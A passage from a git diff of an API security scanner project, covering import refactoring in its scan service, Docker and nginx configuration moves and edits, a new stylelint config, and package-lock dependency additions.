TestResultRepository +from core.enums import TestType +from repositories.scan_repository import ScanRepository +from repositories.test_result_repository import TestResultRepository -from ..scanners.auth_scanner import AuthScanner -from ..scanners.idor_scanner import IDORScanner -from ..scanners.sqli_scanner import SQLiScanner -from ..scanners.rate_limit_scanner import RateLimitScanner -from ..schemas.test_result_schemas import TestResultCreate -from ..schemas.scan_schemas import ScanRequest, ScanResponse +from scanners.base_scanner import BaseScanner +from scanners.auth_scanner import AuthScanner +from scanners.idor_scanner import IDORScanner +from scanners.sqli_scanner import SQLiScanner +from scanners.rate_limit_scanner import RateLimitScanner +from schemas.test_result_schemas import TestResultCreate +from schemas.scan_schemas import ScanRequest, ScanResponse class ScanService: @@ -47,7 +50,7 @@ class ScanService: target_url = str(scan_request.target_url), ) - scanner_mapping = { + scanner_mapping: dict[TestType, Type[BaseScanner]] = { TestType.RATE_LIMIT: RateLimitScanner, TestType.AUTH: AuthScanner, TestType.SQLI: SQLiScanner, @@ -57,7 +60,7 @@ class ScanService: results: list[TestResultCreate] = [] for test_type in scan_request.tests_to_run: - scanner_class = scanner_mapping.get(test_type) + scanner_class: Type[BaseScanner] | None = scanner_mapping.get(test_type) if not scanner_class: continue diff --git a/api-security-scanner/conf/docker/dev/fastapi.docker b/PROJECTS/api-security-scanner/conf/docker/dev/fastapi.docker similarity index 100% rename from api-security-scanner/conf/docker/dev/fastapi.docker rename to PROJECTS/api-security-scanner/conf/docker/dev/fastapi.docker diff --git a/api-security-scanner/conf/docker/dev/vite.docker b/PROJECTS/api-security-scanner/conf/docker/dev/vite.docker similarity index 100% rename from api-security-scanner/conf/docker/dev/vite.docker rename to PROJECTS/api-security-scanner/conf/docker/dev/vite.docker diff --git a/api-security-scanner/conf/docker/prod/fastapi.docker b/PROJECTS/api-security-scanner/conf/docker/prod/fastapi.docker similarity index 100% rename from api-security-scanner/conf/docker/prod/fastapi.docker rename to PROJECTS/api-security-scanner/conf/docker/prod/fastapi.docker diff --git a/api-security-scanner/conf/docker/prod/vite.docker b/PROJECTS/api-security-scanner/conf/docker/prod/vite.docker similarity index 82% rename from api-security-scanner/conf/docker/prod/vite.docker rename to PROJECTS/api-security-scanner/conf/docker/prod/vite.docker index b3fd3885..03aa3044 100644 --- a/api-security-scanner/conf/docker/prod/vite.docker +++ b/PROJECTS/api-security-scanner/conf/docker/prod/vite.docker @@ -3,9 +3,8 @@ # Stage 1: Build the React app with Vite # Stage 2: Serve static files with Nginx -# =================================== + # Stage 1: Build -# =================================== FROM node:20-alpine AS builder WORKDIR /app @@ -22,16 +21,17 @@ COPY frontend/ . # Build the app (creates dist/ folder with static files) RUN npm run build -# =================================== + + # Stage 2: Serve with Nginx -# =================================== FROM nginx:alpine # Copy built static files from builder stage COPY --from=builder /app/dist /usr/share/nginx/html -# Copy custom nginx configuration +# Copy nginx configurations COPY conf/nginx/prod.nginx /etc/nginx/nginx.conf +COPY conf/nginx/http.conf /etc/nginx/http.conf # Expose port EXPOSE 80 diff --git a/api-security-scanner/conf/nginx/dev.nginx b/PROJECTS/api-security-scanner/conf/nginx/dev.nginx similarity index 80% rename from api-security-scanner/conf/nginx/dev.nginx rename to PROJECTS/api-security-scanner/conf/nginx/dev.nginx index 05278347..1a7f3266 100644 --- a/api-security-scanner/conf/nginx/dev.nginx +++ b/PROJECTS/api-security-scanner/conf/nginx/dev.nginx @@ -10,8 +10,10 @@ events { } http { - # Include shared config + # Include shared config and MIME types include /etc/nginx/http.conf; + include /etc/nginx/mime.types; + default_type application/octet-stream; # Disable access logs in dev (less noise) access_log off; @@ -19,16 +21,16 @@ http { server { listen 80; + listen [::]:80; server_name localhost; - # Client max body size (for file uploads in scans) + # Client upload limits client_max_body_size 10M; + client_body_buffer_size 128k; - # Backend API routes + # Backend API location /api/ { - proxy_pass http://backend:8000/; - - # Apply common proxy settings + proxy_pass http://backend/; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; @@ -39,11 +41,9 @@ http { proxy_cache_bypass $http_upgrade; } - # Frontend (Vite dev server with HMR) + # Frontend location / { proxy_pass http://frontend; - - # WebSocket support for Vite HMR proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; @@ -51,7 +51,6 @@ http { proxy_cache_bypass $http_upgrade; } - # Health check endpoint location /health { access_log off; return 200 "healthy\n"; diff --git a/PROJECTS/api-security-scanner/conf/nginx/http.conf b/PROJECTS/api-security-scanner/conf/nginx/http.conf new file mode 100644 index 00000000..7b6d7e86 --- /dev/null +++ b/PROJECTS/api-security-scanner/conf/nginx/http.conf @@ -0,0 +1,13 @@ +# ⒸAngelaMos | 2025 +# Shared HTTP configuration for both dev and prod +# This file contains common upstream definitions + +# Upstream backend (FastAPI) - used in both dev and prod +upstream backend { + server backend:8000; +} + +# Upstream frontend (Vite dev server) - only used in dev +upstream frontend { + server frontend:5173; +} diff --git a/api-security-scanner/conf/nginx/prod.nginx b/PROJECTS/api-security-scanner/conf/nginx/prod.nginx similarity index 94% rename from api-security-scanner/conf/nginx/prod.nginx rename to PROJECTS/api-security-scanner/conf/nginx/prod.nginx index 41ba2e9e..c926384f 100644 --- a/api-security-scanner/conf/nginx/prod.nginx +++ b/PROJECTS/api-security-scanner/conf/nginx/prod.nginx @@ -5,6 +5,7 @@ # - Proxies /api to FastAPI backend # - Caching, gzip compression, security headers # - SSL/HTTPS ready (commented out, uncomment when you have certificates) +# - Use Cloudfare tls with dns proxy if no tls in nginx events { worker_connections 2048; @@ -46,16 +47,18 @@ http { application/vnd.ms-fontobject image/svg+xml; - # HTTP server (will redirect to HTTPS in production) + # HTTP server server { listen 80; - server_name localhost; + listen [::]:80; + server_name _; # Uncomment below to redirect HTTP to HTTPS in production # return 301 https://$server_name$request_uri; - # Client max body size + # Client upload limits client_max_body_size 10M; + client_body_buffer_size 128k; # Security headers add_header X-Frame-Options "SAMEORIGIN" always; @@ -100,7 +103,6 @@ http { } } - # Health check endpoint location /health { access_log off; return 200 "healthy\n"; @@ -111,6 +113,7 @@ http { # HTTPS server (uncomment and configure when you have SSL certificates) # server { # listen 443 ssl http2; + # listen [::]:443 ssl http2; # server_name yourdomain.com; # # # SSL certificates (use Let's Encrypt or similar) diff --git a/api-security-scanner/docker-compose.dev.yml b/PROJECTS/api-security-scanner/docker-compose.dev.yml similarity index 97% rename from api-security-scanner/docker-compose.dev.yml rename to PROJECTS/api-security-scanner/docker-compose.dev.yml index 43ce3e4a..c1736828 100644 --- a/api-security-scanner/docker-compose.dev.yml +++ b/PROJECTS/api-security-scanner/docker-compose.dev.yml @@ -14,7 +14,7 @@ services: volumes: - postgres_data_dev:/var/lib/postgresql/data healthcheck: - test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-apiuser}"] + test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-apiuser} -d ${POSTGRES_DB:-apisecurity}"] interval: 10s timeout: 5s retries: 5 @@ -45,7 +45,7 @@ services: - apisec_network restart: unless-stopped - # React Frontend (Development with Vite HMR) + # React Frontend - Vite HMR frontend: build: context: . diff --git a/api-security-scanner/docker-compose.prod.yml b/PROJECTS/api-security-scanner/docker-compose.prod.yml similarity index 90% rename from api-security-scanner/docker-compose.prod.yml rename to PROJECTS/api-security-scanner/docker-compose.prod.yml index ece97396..4f2e70d1 100644 --- a/api-security-scanner/docker-compose.prod.yml +++ b/PROJECTS/api-security-scanner/docker-compose.prod.yml @@ -23,7 +23,7 @@ services: - apisec_network restart: always - # FastAPI Backend (Production with Gunicorn) + # FastAPI Backend backend: build: context: . @@ -51,7 +51,7 @@ services: retries: 3 start_period: 40s - # Frontend (Production - Nginx serving static files) + # Nginx serving static files frontend: build: context: . @@ -59,14 +59,15 @@ services: container_name: apisec_frontend_prod ports: - "${HOST_NGINX_PORT:-80}:80" - # Uncomment for HTTPS: + # Uncomment for HTTPS - or dns proxy with Cloudfare: # - "${HOST_NGINX_HTTPS_PORT:-443}:443" depends_on: - backend networks: - apisec_network restart: always - # Optional: Mount SSL certificates for HTTPS + # Optional: Mount SSL certificates for HTTPS - + # or dns proxy with Cloudfare (easier) # volumes: # - ./ssl:/etc/nginx/ssl:ro diff --git a/api-security-scanner/frontend/.gitignore b/PROJECTS/api-security-scanner/frontend/.gitignore similarity index 100% rename from api-security-scanner/frontend/.gitignore rename to PROJECTS/api-security-scanner/frontend/.gitignore diff --git a/PROJECTS/api-security-scanner/frontend/.stylelintrc.json b/PROJECTS/api-security-scanner/frontend/.stylelintrc.json new file mode 100644 index 00000000..c136637e --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/.stylelintrc.json @@ -0,0 +1,10 @@ +{ + "extends": [ + "stylelint-config-standard-scss", + "stylelint-config-prettier-scss" + ], + "rules": { + "scss/at-rule-no-unknown": null, + "selector-class-pattern": null + } +} diff --git a/api-security-scanner/frontend/eslint.config.js b/PROJECTS/api-security-scanner/frontend/eslint.config.js similarity index 100% rename from api-security-scanner/frontend/eslint.config.js rename to PROJECTS/api-security-scanner/frontend/eslint.config.js diff --git a/api-security-scanner/frontend/index.html b/PROJECTS/api-security-scanner/frontend/index.html similarity index 100% rename from api-security-scanner/frontend/index.html rename to PROJECTS/api-security-scanner/frontend/index.html diff --git a/api-security-scanner/frontend/package-lock.json b/PROJECTS/api-security-scanner/frontend/package-lock.json similarity index 87% rename from api-security-scanner/frontend/package-lock.json rename to PROJECTS/api-security-scanner/frontend/package-lock.json index 2223c496..899db9c2 100644 --- a/api-security-scanner/frontend/package-lock.json +++ b/PROJECTS/api-security-scanner/frontend/package-lock.json @@ -47,6 +47,9 @@ "globals": "^16.3.0", "husky": "^8.0.0", "prettier": "^3.6.2", + "stylelint": "^16.25.0", + "stylelint-config-prettier-scss": "^1.0.0", + "stylelint-config-standard-scss": "^16.0.0", "typescript": "~5.8.3", "typescript-eslint": "^8.39.1", "vite": "^7.1.2", @@ -335,6 +338,176 @@ "node": ">=6.9.0" } }, + "node_modules/@cacheable/memoize": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@cacheable/memoize/-/memoize-2.0.3.tgz", + "integrity": "sha512-hl9wfQgpiydhQEIv7fkjEzTGE+tcosCXLKFDO707wYJ/78FVOlowb36djex5GdbSyeHnG62pomYLMuV/OT8Pbw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@cacheable/utils": "^2.0.3" + } + }, + "node_modules/@cacheable/memory": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@cacheable/memory/-/memory-2.0.4.tgz", + "integrity": "sha512-cCmJKCKlT1t7hNBI1+gFCwmKFd9I4pS3zqBeNGXTSODnpa0EeDmORHY8oEMTuozfdg3cgsVh8ojLaPYb6eC7Cg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@cacheable/utils": "^2.2.0", + "@keyv/bigmap": "^1.1.0", + "hookified": "^1.12.2", + "keyv": "^5.5.3" + } + }, + "node_modules/@cacheable/memory/node_modules/@keyv/bigmap": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@keyv/bigmap/-/bigmap-1.1.0.tgz", + "integrity": "sha512-MX7XIUNwVRK+hjZcAbNJ0Z8DREo+Weu9vinBOjGU1thEi9F6vPhICzBbk4CCf3eEefKRz7n6TfZXwUFZTSgj8Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "hookified": "^1.12.2" + }, + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "keyv": "^5.5.3" + } + }, + "node_modules/@cacheable/memory/node_modules/keyv": { + "version": "5.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.5.4.tgz", + "integrity": "sha512-eohl3hKTiVyD1ilYdw9T0OiB4hnjef89e3dMYKz+mVKDzj+5IteTseASUsOB+EU9Tf6VNTCjDePcP6wkDGmLKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1" + } + }, + "node_modules/@cacheable/utils": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@cacheable/utils/-/utils-2.2.0.tgz", + "integrity": "sha512-7xaQayO3msdVcxXLYcLU5wDqJBNdQcPPPHr6mdTEIQI7N7TbtSVVTpWOTfjyhg0L6AQwQdq7miKdWtTDBoBldQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "keyv": "^5.5.3" + } + }, + "node_modules/@cacheable/utils/node_modules/keyv": { + "version": "5.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.5.4.tgz", + "integrity": "sha512-eohl3hKTiVyD1ilYdw9T0OiB4hnjef89e3dMYKz+mVKDzj+5IteTseASUsOB+EU9Tf6VNTCjDePcP6wkDGmLKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1" + } + }, + "node_modules/@csstools/css-parser-algorithms": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-3.0.5.tgz", + "integrity": "sha512-DaDeUkXZKjdGhgYaHNJTV9pV7Y9B3b644jCLs9Upc3VeNGg6LWARAT6O+Q+/COo+2gg/bM5rhpMAtf70WqfBdQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/css-tokenizer": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-3.0.4.tgz", + "integrity": "sha512-Vd/9EVDiu6PPJt9yAh6roZP6El1xHrdvIVGjyBsHR0RYwNHgL7FJPyIIW4fANJNG6FtyZfvlRPpFI4ZM/lubvw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/@csstools/media-query-list-parser": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/@csstools/media-query-list-parser/-/media-query-list-parser-4.0.3.tgz", + "integrity": "sha512-HAYH7d3TLRHDOUQK4mZKf9k9Ph/m8Akstg66ywKR4SFAigjs3yBiUeZtFxywiTm5moZMAp/5W/ZuFnNXXYLuuQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/selector-specificity": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-5.0.0.tgz", + "integrity": "sha512-PCqQV3c4CoVm3kdPhyeZ07VmBRdH2EpMFA/pd9OASpOEC3aXNGoqPDAZ80D0cLpMBxnmk0+yNhGsEx31hq7Gtw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss-selector-parser": "^7.0.0" + } + }, + "node_modules/@dual-bundle/import-meta-resolve": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/@dual-bundle/import-meta-resolve/-/import-meta-resolve-4.2.1.tgz", + "integrity": "sha512-id+7YRUgoUX6CgV0DtuhirQWodeeA7Lf4i2x71JS/vtA5pRb/hIGWlw+G6MeXvsM+MXrz0VAydTGElX1rAfgPg==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/JounQin" + } + }, "node_modules/@esbuild/aix-ppc64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", @@ -1081,6 +1254,13 @@ "@jridgewell/sourcemap-codec": "^1.4.14" } }, + "node_modules/@keyv/serialize": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@keyv/serialize/-/serialize-1.1.1.tgz", + "integrity": "sha512-dXn3FZhPv0US+7dtJsIi2R+c7qWYiReoEh5zUntWCf4oSpMNib8FDhSoed6m3QyZdx5hK7iLFkYk3rNxwt8vTA==", + "dev": true, + "license": "MIT" + }, "node_modules/@nodelib/fs.scandir": { "version": "2.1.5", "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", @@ -2360,18 +2540,6 @@ "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==" }, - "node_modules/@types/node": { - "version": "24.10.0", - "resolved": "https://registry.npmjs.org/@types/node/-/node-24.10.0.tgz", - "integrity": "sha512-qzQZRBqkFsYyaSWXuEHc2WR9c0a0CXwiE5FWUvn7ZM+vdy1uZLfCunD38UzhuB7YN/J11ndbDBcTmOdxJo9Q7A==", - "dev": true, - "license": "MIT", - "optional": true, - "peer": true, - "dependencies": { - "undici-types": "~7.16.0" - } - }, "node_modules/@types/react": { "version": "19.2.2", "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.2.tgz", @@ -2738,6 +2906,16 @@ "url": "https://github.com/sponsors/epoberezkin" } }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", @@ -2819,6 +2997,16 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/array.prototype.findlast": { "version": "1.2.5", "resolved": "https://registry.npmjs.org/array.prototype.findlast/-/array.prototype.findlast-1.2.5.tgz", @@ -2918,6 +3106,16 @@ "integrity": "sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==", "dev": true }, + "node_modules/astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/async-function": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/async-function/-/async-function-1.0.0.tgz", @@ -3059,6 +3257,31 @@ "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" } }, + "node_modules/cacheable": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/cacheable/-/cacheable-2.1.1.tgz", + "integrity": "sha512-LmF4AXiSNdiRbI2UjH8pAp9NIXxeQsTotpEaegPiDcnN0YPygDJDV3l/Urc0mL72JWdATEorKqIHEx55nDlONg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@cacheable/memoize": "^2.0.3", + "@cacheable/memory": "^2.0.3", + "@cacheable/utils": "^2.1.0", + "hookified": "^1.12.2", + "keyv": "^5.5.3", + "qified": "^0.5.0" + } + }, + "node_modules/cacheable/node_modules/keyv": { + "version": "5.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.5.4.tgz", + "integrity": "sha512-eohl3hKTiVyD1ilYdw9T0OiB4hnjef89e3dMYKz+mVKDzj+5IteTseASUsOB+EU9Tf6VNTCjDePcP6wkDGmLKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1" + } + }, "node_modules/call-bind": { "version": "1.0.8", "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz", @@ -3226,6 +3449,13 @@ "dev": true, "license": "MIT" }, + "node_modules/colord": { + "version": "2.9.3", + "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.3.tgz", + "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==", + "dev": true, + "license": "MIT" + }, "node_modules/combined-stream": { "version": "1.0.8", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", @@ -3268,6 +3498,33 @@ "node": ">=18" } }, + "node_modules/cosmiconfig": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-9.0.0.tgz", + "integrity": "sha512-itvL5h8RETACmOTFc4UfIyB2RfEHi71Ax6E/PivVxq9NseKbOWpeyHEOIbmAw1rs8Ak0VursQNww7lf7YtUwzg==", + "dev": true, + "license": "MIT", + "dependencies": { + "env-paths": "^2.2.1", + "import-fresh": "^3.3.0", + "js-yaml": "^4.1.0", + "parse-json": "^5.2.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/d-fischer" + }, + "peerDependencies": { + "typescript": ">=4.9.5" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, "node_modules/cross-spawn": { "version": "7.0.6", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", @@ -3283,6 +3540,43 @@ "node": ">= 8" } }, + "node_modules/css-functions-list": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/css-functions-list/-/css-functions-list-3.2.3.tgz", + "integrity": "sha512-IQOkD3hbR5KrN93MtcYuad6YPuTSUhntLHDuLEbFWE+ff2/XSZNdZG+LcbbIW5AXKg/WFIfYItIzVoHngHXZzA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12 || >=16" + } + }, + "node_modules/css-tree": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.1.0.tgz", + "integrity": "sha512-0eW44TGN5SQXU1mWSkKwFstI/22X2bG1nYzZTYMAWjylYURhse752YgbE4Cx46AC+bAvI+/dYTPRk1LqSUnu6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "mdn-data": "2.12.2", + "source-map-js": "^1.0.1" + }, + "engines": { + "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0" + } + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "license": "MIT", + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, "node_modules/csstype": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz", @@ -3573,6 +3867,19 @@ "url": "https://github.com/sponsors/wooorm" } }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/doctrine": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", @@ -3647,6 +3954,26 @@ "node": ">=10.0.0" } }, + "node_modules/env-paths": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", + "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/error-ex": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.4.tgz", + "integrity": "sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, "node_modules/es-abstract": { "version": "1.24.0", "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.24.0.tgz", @@ -4205,6 +4532,33 @@ "dev": true, "license": "MIT" }, + "node_modules/fast-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.0.tgz", + "integrity": "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/fastest-levenshtein": { + "version": "1.0.16", + "resolved": "https://registry.npmjs.org/fastest-levenshtein/-/fastest-levenshtein-1.0.16.tgz", + "integrity": "sha512-eRnCtTTtGZFpQCwhJiUOuxPQWRXVKYDn0b2PeHfXL6/Zi53SLAzAHfVhVWK2AryC/WH05kGfxhFIPvTF0SXQzg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4.9.1" + } + }, "node_modules/fastq": { "version": "1.19.1", "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.19.1.tgz", @@ -4472,6 +4826,47 @@ "node": ">=10.13.0" } }, + "node_modules/global-modules": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz", + "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "global-prefix": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/global-prefix": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz", + "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==", + "dev": true, + "license": "MIT", + "dependencies": { + "ini": "^1.3.5", + "kind-of": "^6.0.2", + "which": "^1.3.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/global-prefix/node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, "node_modules/globals": { "version": "16.5.0", "resolved": "https://registry.npmjs.org/globals/-/globals-16.5.0.tgz", @@ -4501,6 +4896,34 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/globby": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globjoin": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/globjoin/-/globjoin-0.1.4.tgz", + "integrity": "sha512-xYfnw62CKG8nLkZBfWbhWwDw02CHty86jfPcc2cr3ZfeuK9ysoVPPEUxf21bAD/rWAgk52SuBrLJlefNy8mvFg==", + "dev": true, + "license": "MIT" + }, "node_modules/globrex": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/globrex/-/globrex-0.1.2.tgz", @@ -4648,6 +5071,26 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/hookified": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/hookified/-/hookified-1.13.0.tgz", + "integrity": "sha512-6sPYUY8olshgM/1LDNW4QZQN0IqgKhtl/1C8koNZBJrKLBk3AZl6chQtNwpNztvfiApHMEwMHek5rv993PRbWw==", + "dev": true, + "license": "MIT" + }, + "node_modules/html-tags": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/html-tags/-/html-tags-3.3.1.tgz", + "integrity": 